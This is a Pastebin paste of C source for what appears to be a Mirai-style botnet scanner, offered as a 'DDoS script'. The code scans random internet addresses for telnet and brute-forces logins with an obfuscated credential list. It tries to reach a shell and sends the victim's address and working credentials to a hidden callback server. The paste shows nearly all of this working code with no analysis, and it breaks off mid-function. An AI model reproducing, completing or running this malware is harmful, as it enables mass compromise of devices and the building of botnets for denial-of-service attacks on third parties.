OCBSerbia

OVH DDoS Script LQS

Apr 29th, 2019
775
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 37.14 KB | None | 0 0
  1. #define _GNU_SOURCE
  2. #ifdef FAYBLL_MIRAI
  3. #ifdef DEBUG
  4. #include <stdio.h>
  5. #endif
  6. #include <unistd.h>
  7. #include <stdlib.h>
  8. #include <sys/socket.h>
  9. #include <arpa/inet.h>
  10. #include <sys/select.h>
  11. #include <sys/types.h>
  12. #include <time.h>
  13. #include <fcntl.h>
  14. #include <signal.h>
  15. #include <errno.h>
  16. #include <string.h>
  17. #include <linux/ip.h>
  18. #include <linux/tcp.h>
  19.  
  20. #include "includes.h"
  21. #include "scanner.h"
  22. #include "table.h"
  23. #include "rand.h"
  24. #include "util.h"
  25. #include "checksum.h"
  26. #include "resolv.h"
  27.  
  28. int scanner_pid, rsck, rsck_out, auth_table_len = 0;
  29. char scanner_rawpkt[sizeof (struct iphdr) + sizeof (struct tcphdr)] = {0};
  30. struct scanner_auth *auth_table = NULL;
  31. struct scanner_connection *conn_table;
  32. uint16_t auth_table_max_weight = 0;
  33. uint32_t fake_time = 0;
  34.  
  35. int recv_strip_null(int sock, void *buf, int len, int flags)
  36. {
  37.     int ret = recv(sock, buf, len, flags);
  38.  
  39.     if (ret > 0)
  40.     {
  41.         int i = 0;
  42.  
  43.         for(i = 0; i < ret; i++)
  44.         {
  45.             if (((char *)buf)[i] == 0x00)
  46.             {
  47.                 ((char *)buf)[i] = 'A';
  48.             }
  49.         }
  50.     }
  51.  
  52.     return ret;
  53. }
  54.  
  55. void scanner_init(void)
  56. {
  57.     int i;
  58.     uint16_t source_port;
  59.     struct iphdr *iph;
  60.     struct tcphdr *tcph;
  61.  
  62.     // Let parent continue on main thread
  63.     scanner_pid = fork();
  64.     if (scanner_pid > 0 || scanner_pid == -1)
  65.         return;
  66.  
  67.     LOCAL_ADDR = util_local_addr();
  68.  
  69.     rand_init();
  70.     fake_time = time(NULL);
  71.     conn_table = calloc(SCANNER_MAX_CONNS, sizeof (struct scanner_connection));
  72.     for (i = 0; i < SCANNER_MAX_CONNS; i++)
  73.     {
  74.         conn_table[i].state = SC_CLOSED;
  75.         conn_table[i].fd = -1;
  76.     }
  77.  
  78.     // Set up raw socket scanning and payload
  79.     if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
  80.     {
  81. #ifdef DEBUG
  82.         printf("[scanner] Failed to initialize raw socket, cannot scan\n");
  83. #endif
  84.         exit(0);
  85.     }
  86.     fcntl(rsck, F_SETFL, O_NONBLOCK | fcntl(rsck, F_GETFL, 0));
  87.     i = 1;
  88.     if (setsockopt(rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof (i)) != 0)
  89.     {
  90. #ifdef DEBUG
  91.         printf("[scanner] Failed to set IP_HDRINCL, cannot scan\n");
  92. #endif
  93.         close(rsck);
  94.         exit(0);
  95.     }
  96.  
  97.     do
  98.     {
  99.         source_port = rand_next() & 0xffff;
  100.     }
  101.     while (ntohs(source_port) < 1024);
  102.  
  103.     iph = (struct iphdr *)scanner_rawpkt;
  104.     tcph = (struct tcphdr *)(iph + 1);
  105.  
  106.     // Set up IPv4 header
  107.     iph->ihl = 5;
  108.     iph->version = 4;
  109.     iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr));
  110.     iph->id = rand_next();
  111.     iph->ttl = 64;
  112.     iph->protocol = IPPROTO_TCP;
  113.  
  114.     // Set up TCP header
  115.     tcph->dest = htons(23);
  116.     tcph->source = source_port;
  117.     tcph->doff = 5;
  118.     tcph->window = rand_next() & 0xffff;
  119.     tcph->syn = TRUE;
  120.  
  121.     // Set up passwords
  122.     add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);
  123.     #ifdef DEBUG
  124.     printf("[scanner] Scanner process initialized. Scanning started.\n");
  125. #endif
  126.  
  127.     // Main logic loop
  128.     while (TRUE)
  129.     {
  130.         fd_set fdset_rd, fdset_wr;
  131.         struct scanner_connection *conn;
  132.         struct timeval tim;
  133.         int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;
  134.  
  135.         // Spew out SYN to try and get a response
  136.         if (fake_time != last_spew)
  137.         {
  138.             last_spew = fake_time;
  139.  
  140.             for (i = 0; i < SCANNER_RAW_PPS; i++)
  141.             {
  142.                 struct sockaddr_in paddr = {0};
  143.                 struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
  144.                 struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
  145.  
  146.                 iph->id = rand_next();
  147.                 iph->saddr = LOCAL_ADDR;
  148.                 iph->daddr = get_random_ip();
  149.                 iph->check = 0;
  150.                 iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
  151.  
  152.                 if (i % 10 == 0)
  153.                 {
  154.                     tcph->dest = htons(2323);
  155.                 }
  156.                 else
  157.                 {
  158.                     tcph->dest = htons(23);
  159.                 }
  160.                 tcph->seq = iph->daddr;
  161.                 tcph->check = 0;
  162.                 tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));
  163.  
  164.                 paddr.sin_family = AF_INET;
  165.                 paddr.sin_addr.s_addr = iph->daddr;
  166.                 paddr.sin_port = tcph->dest;
  167.  
  168.                 sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));
  169.             }
  170.         }
  171.  
  172.         // Read packets from raw socket to get SYN+ACKs
  173.         last_avail_conn = 0;
  174.         while (TRUE)
  175.         {
  176.             int n;
  177.             char dgram[1514];
  178.             struct iphdr *iph = (struct iphdr *)dgram;
  179.             struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
  180.             struct scanner_connection *conn;
  181.  
  182.             errno = 0;
  183.             n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);
  184.             if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
  185.                 break;
  186.  
  187.             if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
  188.                 continue;
  189.             if (iph->daddr != LOCAL_ADDR)
  190.                 continue;
  191.             if (iph->protocol != IPPROTO_TCP)
  192.                 continue;
  193.             if (tcph->source != htons(23) && tcph->source != htons(2323))
  194.                 continue;
  195.             if (tcph->dest != source_port)
  196.                 continue;
  197.             if (!tcph->syn)
  198.                 continue;
  199.             if (!tcph->ack)
  200.                 continue;
  201.             if (tcph->rst)
  202.                 continue;
  203.             if (tcph->fin)
  204.                 continue;
  205.             if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
  206.                 continue;
  207.  
  208.             conn = NULL;
  209.             for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)
  210.             {
  211.                 if (conn_table[n].state == SC_CLOSED)
  212.                 {
  213.                     conn = &conn_table[n];
  214.                     last_avail_conn = n;
  215.                     break;
  216.                 }
  217.             }
  218.  
  219.             // If there were no slots, then no point reading any more
  220.             if (conn == NULL)
  221.                 break;
  222.  
  223.             conn->dst_addr = iph->saddr;
  224.             conn->dst_port = tcph->source;
  225.             setup_connection(conn);
  226. #ifdef DEBUG
  227.             printf("[scanner] FD%d Attempting to brute found IP %d.%d.%d.%d\n", conn->fd, iph->saddr & 0xff, (iph->saddr >> 8) & 0xff, (iph->saddr >> 16) & 0xff, (iph->saddr >> 24) & 0xff);
  228. #endif
  229.         }
  230.  
  231.         // Load file descriptors into fdsets
  232.         FD_ZERO(&fdset_rd);
  233.         FD_ZERO(&fdset_wr);
  234.         for (i = 0; i < SCANNER_MAX_CONNS; i++)
  235.         {
  236.             int timeout;
  237.  
  238.             conn = &conn_table[i];
  239.             timeout = (conn->state > SC_CONNECTING ? 30 : 5);
  240.  
  241.             if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)
  242.             {
  243. #ifdef DEBUG
  244.                 printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);
  245. #endif
  246.                 close(conn->fd);
  247.                 conn->fd = -1;
  248.  
  249.                 // Retry
  250.                 if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again
  251.                 {
  252.                     if (++(conn->tries) == 10)
  253.                     {
  254.                         conn->tries = 0;
  255.                         conn->state = SC_CLOSED;
  256.                     }
  257.                     else
  258.                     {
  259.                         setup_connection(conn);
  260. #ifdef DEBUG
  261.                         printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
  262. #endif
  263.                     }
  264.                 }
  265.                 else
  266.                 {
  267.                     conn->tries = 0;
  268.                     conn->state = SC_CLOSED;
  269.                 }
  270.                 continue;
  271.             }
  272.  
  273.             if (conn->state == SC_CONNECTING)
  274.             {
  275.                 FD_SET(conn->fd, &fdset_wr);
  276.                 if (conn->fd > mfd_wr)
  277.                     mfd_wr = conn->fd;
  278.             }
  279.             else if (conn->state != SC_CLOSED)
  280.             {
  281.                 FD_SET(conn->fd, &fdset_rd);
  282.                 if (conn->fd > mfd_rd)
  283.                     mfd_rd = conn->fd;
  284.             }
  285.         }
  286.  
  287.         tim.tv_usec = 0;
  288.         tim.tv_sec = 1;
  289.         nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);
  290.         fake_time = time(NULL);
  291.  
  292.         for (i = 0; i < SCANNER_MAX_CONNS; i++)
  293.         {
  294.             conn = &conn_table[i];
  295.  
  296.             if (conn->fd == -1)
  297.                 continue;
  298.  
  299.             if (FD_ISSET(conn->fd, &fdset_wr))
  300.             {
  301.                 int err = 0, ret = 0;
  302.                 socklen_t err_len = sizeof (err);
  303.  
  304.                 ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
  305.                 if (err == 0 && ret == 0)
  306.                 {
  307.                     conn->state = SC_HANDLE_IACS;
  308.                     conn->auth = random_auth_entry();
  309.                     conn->rdbuf_pos = 0;
  310. #ifdef DEBUG
  311.                     printf("[scanner] FD%d connected. Trying %s:%s\n", conn->fd, conn->auth->username, conn->auth->password);
  312. #endif
  313.                 }
  314.                 else
  315.                 {
  316. #ifdef DEBUG
  317.                     printf("[scanner] FD%d error while connecting = %d\n", conn->fd, err);
  318. #endif
  319.                     close(conn->fd);
  320.                     conn->fd = -1;
  321.                     conn->tries = 0;
  322.                     conn->state = SC_CLOSED;
  323.                     continue;
  324.                 }
  325.             }
  326.  
  327.             if (FD_ISSET(conn->fd, &fdset_rd))
  328.             {
  329.                 while (TRUE)
  330.                 {
  331.                     int ret;
  332.  
  333.                     if (conn->state == SC_CLOSED)
  334.                         break;
  335.  
  336.                     if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE)
  337.                     {
  338.                         memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);
  339.                         conn->rdbuf_pos -= SCANNER_HACK_DRAIN;
  340.                     }
  341.                     errno = 0;
  342.                     ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
  343.                     if (ret == 0)
  344.                     {
  345. #ifdef DEBUG
  346.                         printf("[scanner] FD%d connection gracefully closed\n", conn->fd);
  347. #endif
  348.                         errno = ECONNRESET;
  349.                         ret = -1; // Fall through to closing connection below
  350.                     }
  351.                     if (ret == -1)
  352.                     {
  353.                         if (errno != EAGAIN && errno != EWOULDBLOCK)
  354.                         {
  355. #ifdef DEBUG
  356.                             printf("[scanner] FD%d lost connection\n", conn->fd);
  357. #endif
  358.                             close(conn->fd);
  359.                             conn->fd = -1;
  360.  
  361.                             // Retry
  362.                             if (++(conn->tries) >= 10)
  363.                             {
  364.                                 conn->tries = 0;
  365.                                 conn->state = SC_CLOSED;
  366.                             }
  367.                             else
  368.                             {
  369.                                 setup_connection(conn);
  370. #ifdef DEBUG
  371.                                 printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
  372. #endif
  373.                             }
  374.                         }
  375.                         break;
  376.                     }
  377.                     conn->rdbuf_pos += ret;
  378.                     conn->last_recv = fake_time;
  379.  
  380.                     while (TRUE)
  381.                     {
  382.                         int consumed = 0;
  383.  
  384.                         switch (conn->state)
  385.                         {
  386.                         case SC_HANDLE_IACS:
  387.                             if ((consumed = consume_iacs(conn)) > 0)
  388.                             {
  389.                                 conn->state = SC_WAITING_USERNAME;
  390. #ifdef DEBUG
  391.                                 printf("[scanner] FD%d finished telnet negotiation\n", conn->fd);
  392. #endif
  393.                             }
  394.                             break;
  395.                         case SC_WAITING_USERNAME:
  396.                             if ((consumed = consume_user_prompt(conn)) > 0)
  397.                             {
  398.                                 send(conn->fd, conn->auth->username, conn->auth->username_len, MSG_NOSIGNAL);
  399.                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
  400.                                 conn->state = SC_WAITING_PASSWORD;
  401. #ifdef DEBUG
  402.                                 printf("[scanner] FD%d received username prompt\n", conn->fd);
  403. #endif
  404.                             }
  405.                             break;
  406.                         case SC_WAITING_PASSWORD:
  407.                             if ((consumed = consume_pass_prompt(conn)) > 0)
  408.                             {
  409. #ifdef DEBUG
  410.                                 printf("[scanner] FD%d received password prompt\n", conn->fd);
  411. #endif
  412.  
  413.                                 // Send password
  414.                                 send(conn->fd, conn->auth->password, conn->auth->password_len, MSG_NOSIGNAL);
  415.                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
  416.  
  417.                                 conn->state = SC_WAITING_PASSWD_RESP;
  418.                             }
  419.                             break;
  420.                         case SC_WAITING_PASSWD_RESP:
  421.                             if ((consumed = consume_any_prompt(conn)) > 0)
  422.                             {
  423.                                 char *tmp_str;
  424.                                 int tmp_len;
  425.  
  426. #ifdef DEBUG
  427.                                 printf("[scanner] FD%d received shell prompt\n", conn->fd);
  428. #endif
  429.  
  430.                                 // Send enable / system / shell / sh to session to drop into shell if needed
  431.                                 table_unlock_val(TABLE_SCAN_ENABLE);
  432.                                 tmp_str = table_retrieve_val(TABLE_SCAN_ENABLE, &tmp_len);
  433.                                 send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
  434.                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
  435.                                 table_lock_val(TABLE_SCAN_ENABLE);
  436.                                 conn->state = SC_WAITING_ENABLE_RESP;
  437.                             }
  438.                             break;
  439.                         case SC_WAITING_ENABLE_RESP:
  440.                             if ((consumed = consume_any_prompt(conn)) > 0)
  441.                             {
  442.                                 char *tmp_str;
  443.                                 int tmp_len;
  444.  
  445. #ifdef DEBUG
  446.                                 printf("[scanner] FD%d received sh prompt\n", conn->fd);
  447. #endif
  448.  
  449.                                 table_unlock_val(TABLE_SCAN_SYSTEM);
  450.                                 tmp_str = table_retrieve_val(TABLE_SCAN_SYSTEM, &tmp_len);
  451.                                 send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
  452.                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
  453.                                 table_lock_val(TABLE_SCAN_SYSTEM);
  454.  
  455.                                 conn->state = SC_WAITING_SYSTEM_RESP;
  456.                             }
  457.                             break;
  458.             case SC_WAITING_SYSTEM_RESP:
  459.                             if ((consumed = consume_any_prompt(conn)) > 0)
  460.                             {
  461.                                 char *tmp_str;
  462.                                 int tmp_len;
  463.  
  464. #ifdef DEBUG
  465.                                 printf("[scanner] FD%d received sh prompt\n", conn->fd);
  466. #endif
  467.  
  468.                                 table_unlock_val(TABLE_SCAN_SHELL);
  469.                                 tmp_str = table_retrieve_val(TABLE_SCAN_SHELL, &tmp_len);
  470.                                 send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
  471.                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
  472.                                 table_lock_val(TABLE_SCAN_SHELL);
  473.  
  474.                                 conn->state = SC_WAITING_SHELL_RESP;
  475.                             }
  476.                             break;
  477.                         case SC_WAITING_SHELL_RESP:
  478.                             if ((consumed = consume_any_prompt(conn)) > 0)
  479.                             {
  480.                                 char *tmp_str;
  481.                                 int tmp_len;
  482.  
  483. #ifdef DEBUG
  484.                                 printf("[scanner] FD%d received enable prompt\n", conn->fd);
  485. #endif
  486.  
  487.                                 table_unlock_val(TABLE_SCAN_SH);
  488.                                 tmp_str = table_retrieve_val(TABLE_SCAN_SH, &tmp_len);
  489.                                 send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
  490.                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
  491.                                 table_lock_val(TABLE_SCAN_SH);
  492.  
  493.                                 conn->state = SC_WAITING_SH_RESP;
  494.                             }
  495.                             break;
  496.                         case SC_WAITING_SH_RESP:
  497.                             if ((consumed = consume_any_prompt(conn)) > 0)
  498.                             {
  499.                                 char *tmp_str;
  500.                                 int tmp_len;
  501.  
  502. #ifdef DEBUG
  503.                                 printf("[scanner] FD%d received sh prompt\n", conn->fd);
  504. #endif
  505.  
  506.                                 // Send query string
  507.                                 table_unlock_val(TABLE_SCAN_QUERY);
  508.                                 tmp_str = table_retrieve_val(TABLE_SCAN_QUERY, &tmp_len);
  509.                                 send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
  510.                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
  511.                                 table_lock_val(TABLE_SCAN_QUERY);
  512.  
  513.                                 conn->state = SC_WAITING_TOKEN_RESP;
  514.                             }
  515.                             break;
  516.                         case SC_WAITING_TOKEN_RESP:
  517.                             consumed = consume_resp_prompt(conn);
  518.                             if (consumed == -1)
  519.                             {
  520. #ifdef DEBUG
  521.                                 printf("[scanner] FD%d invalid username/password combo\n", conn->fd);
  522. #endif
  523.                                 close(conn->fd);
  524.                                 conn->fd = -1;
  525.  
  526.                                 // Retry
  527.                                 if (++(conn->tries) == 10)
  528.                                 {
  529.                                     conn->tries = 0;
  530.                                     conn->state = SC_CLOSED;
  531.                                 }
  532.                                 else
  533.                                 {
  534.                                     setup_connection(conn);
  535. #ifdef DEBUG
  536.                                     printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
  537. #endif
  538.                                 }
  539.                             }
  540.                             else if (consumed > 0)
  541.                             {
  542.                                 char *tmp_str;
  543.                                 int tmp_len;
  544. #ifdef DEBUG
  545.                                 printf("[scanner] FD%d Found verified working telnet\n", conn->fd);
  546. #endif
  547.                                 report_working(conn->dst_addr, conn->dst_port, conn->auth);
  548.                                 close(conn->fd);
  549.                                 conn->fd = -1;
  550.                                 conn->state = SC_CLOSED;
  551.                             }
  552.                             break;
  553.                         default:
  554.                             consumed = 0;
  555.                             break;
  556.                         }
  557.  
  558.                         // If no data was consumed, move on
  559.                         if (consumed == 0)
  560.                             break;
  561.                         else
  562.                         {
  563.                             if (consumed > conn->rdbuf_pos)
  564.                                 consumed = conn->rdbuf_pos;
  565.  
  566.                             conn->rdbuf_pos -= consumed;
  567.                             memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);
  568.                         }
  569.                     }
  570.                 }
  571.             }
  572.         }
  573.     }
  574. }
  575.  
  576. void scanner_kill(void)
  577. {
  578.     kill(scanner_pid, 9);
  579. }
  580.  
  581. static void setup_connection(struct scanner_connection *conn)
  582. {
  583.     struct sockaddr_in addr = {0};
  584.  
  585.     if (conn->fd != -1)
  586.         close(conn->fd);
  587.     if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  588.     {
  589. #ifdef DEBUG
  590.         printf("[scanner] Failed to call socket()\n");
  591. #endif
  592.         return;
  593.     }
  594.  
  595.     conn->rdbuf_pos = 0;
  596.     util_zero(conn->rdbuf, sizeof(conn->rdbuf));
  597.  
  598.     fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
  599.  
  600.     addr.sin_family = AF_INET;
  601.     addr.sin_addr.s_addr = conn->dst_addr;
  602.     addr.sin_port = conn->dst_port;
  603.  
  604.     conn->last_recv = fake_time;
  605.     conn->state = SC_CONNECTING;
  606.     connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
  607. }
  608.  
  609. static ipv4_t get_random_ip(void)
  610. {
  611.     uint32_t tmp;
  612.     uint8_t o1, o2, o3, o4;
  613.  
  614.     do
  615.     {
  616.         tmp = rand_next();
  617.  
  618.         o1 = tmp & 0xff;
  619.         o2 = (tmp >> 8) & 0xff;
  620.         o3 = (tmp >> 16) & 0xff;
  621.         o4 = (tmp >> 24) & 0xff;
  622.     }
  623.     while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
  624.           (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
  625.           (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
  626.           (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
  627.           (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
  628.           (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
  629.           (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
  630.           (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
  631.           (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
  632.           (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
  633.           (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
  634.           (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
  635.           (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
  636.     );
  637.  
  638.     return INET_ADDR(o1,o2,o3,o4);
  639. }
  640.  
  641. static int consume_iacs(struct scanner_connection *conn)
  642. {
  643.     int consumed = 0;
  644.     uint8_t *ptr = conn->rdbuf;
  645.  
  646.     while (consumed < conn->rdbuf_pos)
  647.     {
  648.         int i;
  649.  
  650.         if (*ptr != 0xff)
  651.             break;
  652.         else if (*ptr == 0xff)
  653.         {
  654.             if (!can_consume(conn, ptr, 1))
  655.                 break;
  656.             if (ptr[1] == 0xff)
  657.             {
  658.                 ptr += 2;
  659.                 consumed += 2;
  660.                 continue;
  661.             }
  662.             else if (ptr[1] == 0xfd)
  663.             {
  664.                 uint8_t tmp1[3] = {255, 251, 31};
  665.                 uint8_t tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240};
  666.  
  667.                 if (!can_consume(conn, ptr, 2))
  668.                     break;
  669.                 if (ptr[2] != 31)
  670.                     goto iac_wont;
  671.  
  672.                 ptr += 3;
  673.                 consumed += 3;
  674.  
  675.                 send(conn->fd, tmp1, 3, MSG_NOSIGNAL);
  676.                 send(conn->fd, tmp2, 9, MSG_NOSIGNAL);
  677.             }
  678.             else
  679.             {
  680.                 iac_wont:
  681.  
  682.                 if (!can_consume(conn, ptr, 2))
  683.                     break;
  684.  
  685.                 for (i = 0; i < 3; i++)
  686.                 {
  687.                     if (ptr[i] == 0xfd)
  688.                         ptr[i] = 0xfc;
  689.                     else if (ptr[i] == 0xfb)
  690.                         ptr[i] = 0xfd;
  691.                 }
  692.  
  693.                 send(conn->fd, ptr, 3, MSG_NOSIGNAL);
  694.                 ptr += 3;
  695.                 consumed += 3;
  696.             }
  697.         }
  698.     }
  699.  
  700.     return consumed;
  701. }
  702.  
  703. static int consume_any_prompt(struct scanner_connection *conn)
  704. {
  705.     char *pch;
  706.     int i, prompt_ending = -1;
  707.  
  708.     for (i = conn->rdbuf_pos - 1; i > 0; i--)
  709.     {
  710.         if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
  711.         {
  712.             prompt_ending = i + 1;
  713.             break;
  714.         }
  715.     }
  716.  
  717.     if (prompt_ending == -1)
  718.         return 0;
  719.     else
  720.         return prompt_ending;
  721. }
  722.  
  723. static int consume_user_prompt(struct scanner_connection *conn)
  724. {
  725.     char *pch;
  726.     int i, prompt_ending = -1;
  727.  
  728.     for (i = conn->rdbuf_pos - 1; i > 0; i--)
  729.     {
  730.         if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
  731.         {
  732.             prompt_ending = i + 1;
  733.             break;
  734.         }
  735.     }
  736.  
  737.     if (prompt_ending == -1)
  738.     {
  739.         int tmp;
  740.  
  741.         if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ogin", 4)) != -1)
  742.             prompt_ending = tmp;
  743.         else if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "enter", 5)) != -1)
  744.             prompt_ending = tmp;
  745.     }
  746.  
  747.     if (prompt_ending == -1)
  748.         return 0;
  749.     else
  750.         return prompt_ending;
  751. }
  752.  
  753. static int consume_pass_prompt(struct scanner_connection *conn)
  754. {
  755.     char *pch;
  756.     int i, prompt_ending = -1;
  757.  
  758.     for (i = conn->rdbuf_pos - 1; i > 0; i--)
  759.     {
  760.         if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#')
  761.         {
  762.             prompt_ending = i + 1;
  763.             break;
  764.         }
  765.     }
  766.  
  767.     if (prompt_ending == -1)
  768.     {
  769.         int tmp;
  770.  
  771.         if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "assword", 7)) != -1)
  772.             prompt_ending = tmp;
  773.     }
  774.  
  775.     if (prompt_ending == -1)
  776.         return 0;
  777.     else
  778.         return prompt_ending;
  779. }
  780.  
  781. static int consume_resp_prompt(struct scanner_connection *conn)
  782. {
  783.     char *tkn_resp;
  784.     int prompt_ending, len;
  785.  
  786.     table_unlock_val(TABLE_SCAN_NCORRECT);
  787.     tkn_resp = table_retrieve_val(TABLE_SCAN_NCORRECT, &len);
  788.     if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1) != -1)
  789.     {
  790.         table_lock_val(TABLE_SCAN_NCORRECT);
  791.         return -1;
  792.     }
  793.     table_lock_val(TABLE_SCAN_NCORRECT);
  794.  
  795.     table_unlock_val(TABLE_SCAN_RESP);
  796.     tkn_resp = table_retrieve_val(TABLE_SCAN_RESP, &len);
  797.     prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1);
  798.     table_lock_val(TABLE_SCAN_RESP);
  799.  
  800.     if (prompt_ending == -1)
  801.         return 0;
  802.     else
  803.         return prompt_ending;
  804. }
  805.  
  806. static void add_auth_entry(char *enc_user, char *enc_pass, uint16_t weight)
  807. {
  808.     int tmp;
  809.  
  810.     auth_table = realloc(auth_table, (auth_table_len + 1) * sizeof (struct scanner_auth));
  811.     auth_table[auth_table_len].username = deobf(enc_user, &tmp);
  812.     auth_table[auth_table_len].username_len = (uint8_t)tmp;
  813.     auth_table[auth_table_len].password = deobf(enc_pass, &tmp);
  814.     auth_table[auth_table_len].password_len = (uint8_t)tmp;
  815.     auth_table[auth_table_len].weight_min = auth_table_max_weight;
  816.     auth_table[auth_table_len++].weight_max = auth_table_max_weight + weight;
  817.     auth_table_max_weight += weight;
  818. }
  819.  
  820. static struct scanner_auth *random_auth_entry(void)
  821. {
  822.     int i;
  823.     uint16_t r = (uint16_t)(rand_next() % auth_table_max_weight);
  824.  
  825.     for (i = 0; i < auth_table_len; i++)
  826.     {
  827.         if (r < auth_table[i].weight_min)
  828.             continue;
  829.         else if (r < auth_table[i].weight_max)
  830.             return &auth_table[i];
  831.     }
  832.  
  833.     return NULL;
  834. }
  835.  
  836. static void report_working(ipv4_t daddr, uint16_t dport, struct scanner_auth *auth)
  837. {
  838.     struct sockaddr_in addr;
  839.     int pid = fork(), fd;
  840.     struct resolv_entries *entries = NULL;
  841.  
  842.     if (pid > 0 || pid == -1)
  843.         return;
  844.  
  845.     if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  846.     {
  847. #ifdef DEBUG
  848.         printf("[report] Failed to call socket()\n");
  849. #endif
  850.         exit(0);
  851.     }
  852.  
  853.     table_unlock_val(TABLE_SCAN_CB_DOMAIN);
  854.     table_unlock_val(TABLE_SCAN_CB_PORT);
  855.  
  856.     entries = resolv_lookup(table_retrieve_val(TABLE_SCAN_CB_DOMAIN, NULL));
  857.     if (entries == NULL)
  858.     {
  859. #ifdef DEBUG
  860.         printf("[report] Failed to resolve report address\n");
  861. #endif
  862.         return;
  863.     }
  864.     addr.sin_family = AF_INET;
  865.     addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len];
  866.     addr.sin_port = *((port_t *)table_retrieve_val(TABLE_SCAN_CB_PORT, NULL));
  867.     resolv_entries_free(entries);
  868.  
  869.     table_lock_val(TABLE_SCAN_CB_DOMAIN);
  870.     table_lock_val(TABLE_SCAN_CB_PORT);
  871.  
  872.     if (connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
  873.     {
  874. #ifdef DEBUG
  875.         printf("[report] Failed to connect to scanner callback!\n");
  876. #endif
  877.         close(fd);
  878.         exit(0);
  879.     }
  880.  
  881.     uint8_t zero = 0;
  882.     send(fd, &zero, sizeof (uint8_t), MSG_NOSIGNAL);
  883.     send(fd, &daddr, sizeof (ipv4_t), MSG_NOSIGNAL);
  884.     send(fd, &dport, sizeof (uint16_t), MSG_NOSIGNAL);
  885.     send(fd, &(auth->username_len), sizeof (uint8_t), MSG_NOSIGNAL);
